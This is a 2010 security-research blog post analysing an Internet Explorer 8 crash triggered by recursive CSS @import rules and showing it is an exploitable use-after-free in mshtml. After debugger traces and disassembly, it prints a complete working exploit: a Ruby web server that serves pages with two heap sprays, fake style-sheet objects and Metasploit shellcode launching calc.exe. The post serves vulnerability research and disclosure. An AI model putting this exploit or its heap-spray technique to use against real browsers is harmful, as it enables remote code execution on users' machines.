Dec 16, 2010

When A DoS Isn't A DoS

by Alexander Karstens

UPDATE: BreakingPoint has published a Rethink DDoS and Botnet testing methodology that replicates a variety of attacks to help users find their network weaknesses before others do. Read more.

By Nephi Johnson

It seems that denial-of-service (DoS) attacks are in the news nearly every day, including the recent buzz about a DoS vulnerability present in Internet Explorer 8 that surfaced on full-disclosure. Some claimed it was exploitable (such as VUPEN), but most claimed it either wasn't exploitable or that it would be very hard to exploit. In this post I'm going to show that this particular vulnerability is not a DoS, nor is it impossible to exploit. (**Note: I'll be using IE8 patched up to MS10-071 on XP SP3)

Understanding the Vuln

The original proof-of-concept code that surfaced on full-disclosure looked something like this:

 
// html file 
<div style="position: absolute; top: -999px;left: -999px;">
<link href="css.css" rel="stylesheet" type="text/css" />
 
// css file 
*{
	 color:red;
}
@import url("css.css");
@import url("css.css");
@import url("css.css");
@import url("css.css");

Loading the html above in IE8 results in a crash:

 
// error 
 
(4ec.e8): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00237160 ecx=00730063 edx=696c413c esi=00000002 edi=0017b484 
eip=3ced638a esp=0161dbf8 ebp=0161dc04 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000202
mshtml!CSharedStyleSheet::Notify+0x1d:
3ced638a 83791801        cmp     dword ptr [ecx+18h],1 ds:0023:0073007b=????????
 
// disassembly around crash 
 
3ced6388 8b0f            mov     ecx,dword ptr [edi]
3ced638a 83791801        cmp     dword ptr [ecx+18h],1 ds:0023:0073007b=???????? 
3ced638e 0f8442222500    je      mshtml!CSharedStyleSheet::Notify+0x23 (3d1285d6)
3ced6394 4e              dec     esi
3ced6395 83c704          add     edi,4
3ced6398 eb24            jmp     mshtml!CSharedStyleSheet::Notify+0x33 (3ced63be)
3ced639a 85c0            test    eax,eax

The first things you might notice are that ecx has the value 00730063 ("cs") and that it comes directly from the name of the css file ("css.css"). You'll also note that ecx comes from a dereferenced edi. Looking at the memory surrounding edi, you should see something like this:

 
// memory: edi 
 
0017b484 63 00 73 00 73 00 00 00 30 74 23  c.s.s...0t#
0017b48f 00 52 32 9a ea 00 01 0c ff 0e 00  .R2........
0017b49a 00 00 63 00 73 00 73 00 2e 00 63  ..c.s.s...c
0017b4a5 00 73 00 73 00 00 00 00 00 00 00  .s.s.......
0017b4b0 56 32 9a ea 00 01 0c ff 0e 00 00  V2.........
0017b4bb 00 63 00 73 00 73 00 2e 00 63 00  .c.s.s...c.
0017b4c6 73 00 73 00 00 00 01 00 00 00 5a  s.s.......Z
0017b4d1 32 9a ea 00 01 0c ff 0e 00 00 00  2..........
0017b4dc 63 00 73 00 73 00 2e 00 63 00 73  c.s.s...c.s
0017b4e7 00 73 00 00 00 00 00 00 00 5e 32  .s.......^2
0017b4f2 9a ea 00 01 0c ff 0e 00 00 00 63  ..........c
0017b4fd 00 73 00 73 00 2e 00 63 00 73 00  .s.s...c.s.
0017b508 73 00 00 00 00 00 00 00 62 32 9a  s.......b2.
0017b513 ea 00 01 0c ff 0e 00 00 00 63 00  .........c.
0017b51e 73 00 73 00 2e 00 63 00 73 00 73  s.s...c.s.s

Now that we know slightly more about the vuln, let's open up IE, attach to it, and set a breakpoint on mshtml!CSharedStyleSheet::Notify before we load the proof of concept. Stepping through the CSharedStyleSheet::Notify function, you'll see that edi originally points to an array of CStyleSheet objects. You'll also notice that esi ends up holding the number 0x5, which is also the number of elements in the array that edi points to, as well as the number of style sheet declarations (the link in the html, and the four @imports in the css):

 
// disassembly of mshtml!CSharedStyleSheet::Notify 
 
mshtml!CSharedStyleSheet::Notify:
3ced63a5 8bff            mov     edi,edi
3ced63a7 55              push    ebp
3ced63a8 8bec            mov     ebp,esp
3ced63aa 51              push    ecx
3ced63ab 56              push    esi
3ced63ac 8bb1d0000000    mov     esi,dword ptr [ecx+0D0h] ; esi = 0x14 
3ced63b2 57              push    edi
3ced63b3 8bb9d8000000    mov     edi,dword ptr [ecx+0D8h] ; pointer to array of CStyleSheet objects 
3ced63b9 33c0            xor     eax,eax
3ced63bb c1ee02          shr     esi,2                    ; esi = 0x5 
 
// memory: edi (array of pointers to CStyleSheet objects) 
 
028a9368 00235c98 
028a936c 00235680
028a9370 002352c0
028a9374 00235a40
028a9378 00235338
 
// memory: poi(edi) - first element in array 
 
00235c98 3cf76248 mshtml!CStyleSheet::`vftable'
00235c9c 00000002
00235ca0 00000010
00235ca4 00000000 
00235ca8 00000000 
00235cac 08000000
00235cb0 00000002
00235cb4 00000000 
00235cb8 022d7278
00235cbc 00000000 
00235cc0 022d5ee0
00235cc4 022d5fa0
00235cc8 00236c48
00235ccc 00000000 
00235cd0 00000000 

Stepping farther down, we enter a loop that iterates through each of the pointers in the array pointed to by edi. At the start of this loop, esi is tested for zero before a jmp; if esi is zero, then the function returns:

 
3ced63be 85f6            test    esi,esi
3ced63c0 7fc6            jg      mshtml!CSharedStyleSheet::Notify+0x1b (3ced6388)
3ced63c2 5f              pop     edi
3ced63c3 5e              pop     esi
3ced63c4 59              pop     ecx
3ced63c5 5d              pop     ebp
3ced63c6 c20400          ret     4

Inside this loop is the instruction at which the PoC triggered a crash. However, with the first iteration of the loop edi is still pointing to a valid CStyleSheet pointer, so nothing crashes. We do learn, however, that the [ecx+18h] instruction is a flag that either causes IE to branch off and call mshtml!CStyleSheet::Notify or merely continue the loop:

 
3ced6388 8b0f            mov     ecx,dword ptr [edi]
3ced638a 83791801        cmp     dword ptr [ecx+18h],1 ds:0023:00235cb0=00000002
3ced638e 0f8442222500    je      mshtml!CSharedStyleSheet::Notify+0x23 (3d1285d6)
 
      // if dword ptr [ecx+18h] == 1 
      3d1285d6 8b4508          mov     eax,dword ptr [ebp+8]
      3d1285d9 e8d4921200      call    mshtml!CStyleSheet::Notify (3d2518b2)
      3d1285de e9b7dddaff      jmp     mshtml!CSharedStyleSheet::Notify+0x2b (3ced639a)
 
// else, continue the loop 
3ced6394 4e              dec     esi                                              ; decrement our loop counter 
3ced6395 83c704          add     edi,4                                            ; increment CStyleSheet array pointer 
3ced6398 eb24            jmp     mshtml!CSharedStyleSheet::Notify+0x33 (3ced63be) ; restart loop 

Below is some pseudo-code of what is happening:

 
for(int i = array->length; i > 0; i--) {
	if(array[i].flag == 0x1) {
		array[i].Notify();
	}
}

If you continue stepping through a second iteration of the loop in the mshtml!CSharedStyleSheet::Notify function, you'll notice that after the call to mshtml!CStyleSheet::Notify, edi is no longer pointing to an array of CStyleSheet objects, but instead points into the middle of the name of the stylesheet:

 
      BEFORE        |         AFTER
// memory: edi      |   // memory: edi 
                    |
028a9368 00235c98   |   028a936c 00730063
028a936c 00235680   |   028a9370 002e0073
028a9370 002352c0   |   028a9374 00730063
028a9374 00235a40   |   028a9378 00000073
028a9378 00235338   |   028a937c 002353b0

To get a feel for why this is happening, stepping into mshtml!CStyleSheet::Notify and breaking on each call/return shows that we are reconstructing and initializing a CStyleSheet object:

 
0:008> pct
3d1285d9 e8d4921200      call    mshtml!CStyleSheet::Notify (3d2518b2)
 
    mshtml!CStyleSheet::Notify+0x47:
    3d2518f9 e815e4d6ff      call    mshtml!CStyleSheet::ReconstructStyleSheet (3cfbfd13)
 
    mshtml!CStyleSheet::Notify+0x61:
    3d251913 e83e29c8ff      call    mshtml!CStyleSheet::GetMarkup (3ced4256)
 
    mshtml!CStyleSheet::Notify+0xbb:
    3d25196d e87c36c8ff      call    mshtml!CMarkup::OnCssChange (3ced4fee)
 
    mshtml!CStyleSheet::Notify+0xc2:
    3d251974 e8fc36c8ff      call    mshtml!CStyleSheet::CheckImportStatus+0x19 (3ced5075)
 
    mshtml!CStyleSheet::Notify+0xcd:
    3d25197f e80f99c7ff      call    mshtml!CMarkup::UnblockScriptExecution (3cecb293)
 
    mshtml!CStyleSheet::Notify+0xd7:
    3d251989 e8358fcfff      call    mshtml!CDwnCtx::SetProgSink (3cf4a8c3)
 
    mshtml!CStyleSheet::Notify+0xe0:
    3d251992 e8d434e0ff      call    mshtml!CStyleSheet::SetCssCtx (3d054e6b)
 
mshtml!CStyleSheet::Notify+0xec:
3d25199e c3              ret

If you step into the mshtml!CStyleSheet::ReconstructStyleSheet function, you'll see that old style sheet objects are being freed and new ones are being created, including the array pointed to by edi. Thus, once the array is freed, new objects that occupy about the same space in memory take its place. In the case of having four @import declarations in the css file, strings containing the name of the css file are allocated where the CStyleSheet array used to be. It is for this reason that IE will crash with different values in edi when you have different numbers of @import declarations or various sizes of css file names.

Now that we know more about what's happening, it should be clear that the vulnerability is a use-after-free vulnerability: the function mshtml!CSharedStyleSheet::Notify continues to use the pointer to the array after mshtml!CStyleSheet::ReconstructStyleSheet, or one of the functions it calls, has freed it.

Exploiting the vuln

My first thought when trying to exploit this was that since we can reliably control edi, maybe we can control ecx as well by heap spraying up to the address that edi is pointing to. If you haven't tried already, it can be quite difficult and pretty unreliable to spray in the lower 00xx00xx address ranges. In order to reliably control the data that edi points to, we need to be able to control the 0x00 parts of the unicode name of the stylesheet. How? Using unicode, of course! Below is an example of being able to control more of the value of ecx:

 
// changing the css file name to "\xffc\xfes\xfds\xfc.\xfbc\xfas\xf9s" 
 
(490.22c): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00233e80 ecx=fc2efd73 edx=006900a4 esi=00000003 edi=022c7848
eip=3ced638a esp=0161dbf8 ebp=0161dc04 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000206
mshtml!CSharedStyleSheet::Notify+0x1d:
3ced638a 83791801        cmp     dword ptr [ecx+18h],1 ds:0023:fc2efd8b=????????

Notice in the example above that ecx = fc2efd73, which comes directly from our css file name: "\xfds\xfc."

So how do we get code execution off of this? Since ecx is supposed to be a pointer to a CStyleSheet object, I looked around the disassembly for a call [ecx+<offset>] or something similar. I found what I was looking for in the mshtml!CStyleSheet::GetMarkupPtr function, which is called from mshtml!CStyleSheet::GetMarkup, which in turn is called from mshtml!CStyleSheet::Notify:

 
mshtml!CElement::GetMarkupPtr+0xe:
3cf7c42b 8b4924          mov     ecx,dword ptr [ecx+24h]
3cf7c42e 8b01            mov     eax,dword ptr [ecx]
3cf7c430 8b5020          mov     edx,dword ptr [eax+20h]
3cf7c433 ffe2            jmp     edx 

In order to reach that part of the code, many stars have to be aligned. Most of these stars though, are members of the CStyleSheet object. Since we control the pointer to the CStyleSheet object (ecx), we can make fake CStyleSheet objects in memory that will get us to the code we want by filling the heap with our fake objects.

The first check we have to pass is this ever-so-familiar check:

 
// star #1 
3ced6388 8b0f            mov     ecx,dword ptr [edi]
3ced638a 83791801        cmp     dword ptr [ecx+18h],1 

This should be easily solved if we make ecx point to a portion of memory that we've filled with dwords that have the value 0x1. However, doing this makes us die on another instruction:

 
// star #2 
mshtml!CStyleSheet::ReconstructStyleSheet:
3cfbfd13 8bff            mov     edi,edi
3cfbfd15 55              push    ebp
3cfbfd16 8bec            mov     ebp,esp
3cfbfd18 51              push    ecx
3cfbfd19 f6405402        test    byte ptr [eax+54h],2 ; eax = esi = ecx 

In order to make it past that instruction, byte ptr[ecx+54] must simply reference valid memory.

0nce we get past that hurdle, we should finally make it to this instruction:

 
// star #3 
mshtml!CStyleSheet::GetMarkup:
3ced4256 8b4820          mov     ecx, dword ptr [eax+20h] ; eax = ecx 

But alas! Not only does dword ptr [eax+20h] need to reference valid memory, it also needs to point to memory that we control. This becomes critical later because we need to be in control of the resulting value of eax below:

 
mshtml!CElement::GetMarkupPtr:
3cf7c420 8b411c          mov     eax,dword ptr [ecx+1Ch]  ; this ecx is from dword ptr[eax+20h] 

If we can finally get those stars perfectly aligned, there's still another check that needs to work before we'll get close to our jump:

 
// star #4 
mshtml!CElement::GetMarkupPtr+0x7:
3cf4265a a900010000      test    eax,100h ; this eax is based on the dword ptr [ecx+1Ch] from above 

Once we get that, then we still have to make it past all of these dereferences before we jmp to edx:

 
// stars 5,6,7 
mshtml!CElement::GetMarkupPtr+0xe:
3cf7c42b 8b4924          mov     ecx,dword ptr [ecx+24h]  ; this ecx is the same one used above 
3cf7c42e 8b01            mov     eax,dword ptr [ecx]
3cf7c430 8b5020          mov     edx,dword ptr [eax+20h]
3cf7c433 ffe2            jmp     edx

Below is the final list of checks that we need to pass in order to control the value that is jmp'd to (assuming ecx is the original pointer to a CStyleSheet object that we control):

 
Stars to be aligned:
 
1 - dword ptr[ecx+18h]                                          == 0x1
2 - byte ptr[ecx+54h]                                           == ecx+54h must be readable memory
3 - dword ptr[ecx+20h]                                          == memory we control
4 - dword ptr[dword ptr[ecx+20h]+1Ch]                           == 0x100
5 - dword ptr[dword ptr[ecx+20h]+24h]                           == memory we control
6 - dword ptr[dword ptr[dword ptr[ecx+20h]+24h]]                == memory we control
7 - dword ptr[dword ptr[dword ptr[dword ptr[ecx+20h]+24h]]+20h] == final value for jmp

So how did I do this? First, I set set the stylesheet name to "\x00s\x03s\x00s\x03s\x00s\x03s\x00s\x03s", which makes ecx point to 03730073. I then used two heap sprays. The first heap spray attempts to fill up to at least 03730073. The second heap spray fills up to at least 0c0c0c0c and contains shellcode at the end of each section of 0c's.

The first heap spray is the one that does all of the magic in getting the stars aligned. The pattern below is used to spray the heap:

 
0c0c0c0c - aligns star 5 (second heap spray makes sure stars 6 and 7 are aligned)
00000009 - not used (only a marker)
00000008 - not used (only a marker)
03730073 - not used
00000001 - aligns star 1
00000100 - aligns star 4
03730073 - aligns star 3

The first heap spray consistently places the 0x00000100 dword at 03730073. Using that as the base, it is easy to visualize how the pattern aligns the stars:

 
ecx+0x00 (03730073): 00000100 
ecx+0x04 (03730077): 03730073 
ecx+0x08 (0373007b): 0c0c0c0c 
ecx+0x0c (0373007f): 00000009 
ecx+0x10 (03730083): 00000008 
ecx+0x14 (03730087): 03730073 
ecx+0x18 (0373008b): 00000001 <-- (star 1) 0x1 flag
ecx+0x1c (0373008f): 00000100 <-- (star 4) dword ptr[dword ptr[ecx+20h]+1Ch]
ecx+0x20 (03730093): 03730073 <-- (star 3) dword ptr[ecx+20h] (points back to first heap spray)
ecx+0x24 (03730097): 0c0c0c0c <-- (star 5) dword ptr[dword ptr[ecx+20h]+24h]
ecx+0x28 (0373009b): 00000009 
ecx+0x2c (0373009f): 00000008 
ecx+0x30 (037300a3): 03730073 
ecx+0x34 (037300a7): 00000001 
ecx+0x38 (037300ab): 00000100 
ecx+0x3c (037300af): 03730073
ecx+0x40 (037300b3): 0c0c0c0c 
ecx+0x44 (037300b7): 00000009 
ecx+0x48 (037300bb): 00000008 
ecx+0x4c (037300bf): 03730073 
ecx+0x50 (037300c3): 00000001 
ecx+0x54 (037300c7): 00000100 <-- (star 2) eax+54h must be readable memory

The first heap spray, combined with a second one that sprays up to at least 0c0c0c0c with a combination of 0c's and shellcode, pull everything together. Below is the final result of the exploit. After running the script, connect to port 55555 and request /test.html:

 
#!/usr/bin/env ruby
 
require 'socket'
 
def http_send(sock, data, opts={})
    defaults = {:code=>"200", :message=>"OK", :type=>"text/html"}
    opts = defaults.merge(opts)
    
    code = opts[:code]
    message = opts[:message]
    type = opts[:type]
    
    to_send = "HTTP/1.1 #{code} #{message}\r\n" +
              "Date: Sat, 11 Dec 2010 14:20:23 GMT\r\n" +
              "Cache-Control: no-cache\r\n" +
              "Content-Type: #{type}\r\n" +
              "Pragma: no-cache\r\n" +
              "Content-Length: #{data.length}\r\n\r\n" +
              "#{data}"
    puts "[+] Sending:"
    to_send.split("\n").each do |line|
        puts "    #{line}"
    end
    sock.write(to_send) rescue return false
    return true
end
 
def sock_read(sock, out_str, timeout=5)
    begin
        if Kernel.select([sock],[],[],timeout)
            out_str.replace(sock.recv(1024))
            puts "[+] Received:"
            out_str.split("\n").each do |line|
                puts "    #{line}"
            end
        else
            sock.close
            return false
        end
    rescue Exception => ex
        return false
    end
end
 
def to_uni(str)
    res = ""
    str.each_byte do |b|
        res << "\x00#{b.chr}"
    end
    res
end
 
@css_name = "\x00s\x03s\x00s\x03s\x00s\x03s\x00s\x03s"
@html_name = "test.html"
placeholder = "a" * (@css_name.length/2)
 
@html = <<-HTML
    <script>
    function dup_str(str, length) {
        var res = str;
        while(res.length < length) {
            res += res;
        }
        res = res.substr(res.length - length);
        return res;
    }
    
    function to_bin(str) {
        var res = "";
        while(str.length > 0) {
            var first = str.substr(0, 2);
            var second = str.substr(2, 2);
            res += "%u" + second + first;
            str = (str.length > 4) ? str.substr(4) : "";
        }
        return unescape(res);
    }
 
    // first heap spray
    var base = dup_str(to_bin("0c0c0c0900000008000000730073030100000000010000730073030c"), 512+6);
    var arr = []
    for(var i = 0; i < 60000; i++) {
        arr[i] = ["" + base].join("");
    }
    
    // second heap spray w/ shellcode
    var nops = dup_str(to_bin("0c0c0c0c"), 4096+6);
    
    // windows/exec - 200 bytes
    // http://www.metasploit.com
    // EXITFUNC=process, CMD=calc.exe
    var shellcode = unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30" + 
                             "%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031" + 
                             "%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752" + 
                             "%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a" + 
                             "%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34" + 
                             "%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475" + 
                             "%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" + 
                             "%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424" + 
                             "%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86" + 
                             "%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff" + 
                             "%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c" + 
                             "%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5" + 
                             "%u6c61%u2e63%u7865%u0065");
    var arr2 = [];
    for(var i = 0; i < 30000; i++) {
        arr2[i] = [nops + shellcode].join("");
    }
    
    // write the link to the stylesheet
    var link = document.createElement("link");
    link.setAttribute("rel", "Stylesheet");
    link.setAttribute("type", "text/css");
    link.setAttribute("href", "#{placeholder}")
    document.getElementsByTagName("head")[0].appendChild(link);
    </script>
HTML
@html = "\xfe\xff" + to_uni(@html)
@html.gsub!(to_uni(placeholder), @css_name)
 
@css = <<-CSS
@import url("#{placeholder}");
@import url("#{placeholder}");
@import url("#{placeholder}");
@import url("#{placeholder}");
CSS
@css = "\xfe\xff" + to_uni(@css)
@css.gsub!(to_uni(placeholder), @css_name)
 
@index = <<-INDEX
<a href="#{@html_name}">#{@html_name}</a>
INDEX
 
TCPServer.open(55555) do |srv|
    while true
        cli = srv.accept
        req = ""
        html = ""
        css = ""
        index = ""
        next unless sock_read(cli, req, 5)
        while req.length > 0
            if req =~ /GET/
                if req =~ /GET.*#{Regexp.escape(@html_name)}/
                    break unless http_send(cli, @html, :type=>"text/html")
                elsif req =~ /GET.*index/
                    break unless http_send(cli, @index)
                elsif req =~ /GET.*#{Regexp.escape(@css_name)}/
                    break unless http_send(cli, @css, :type=>"text/css")
                else
                    break unless http_send(cli, @css, :type=>"text/css")
                end
            elsif req =~ /QUIT/
                exit()
            end
            req = ""
            next unless sock_read(cli, req, 5)
        end
        cli.close rescue next
    end
end

As I said above, I've tested this on IE8 patched up to MS10-071 on XP SP3. Enjoy!


Related Content:

DoS Evaluation Services

Application and Threat Intelligence (ATI) Updates

Live Security Attack Updates

Tags:
blog comments powered by Disqus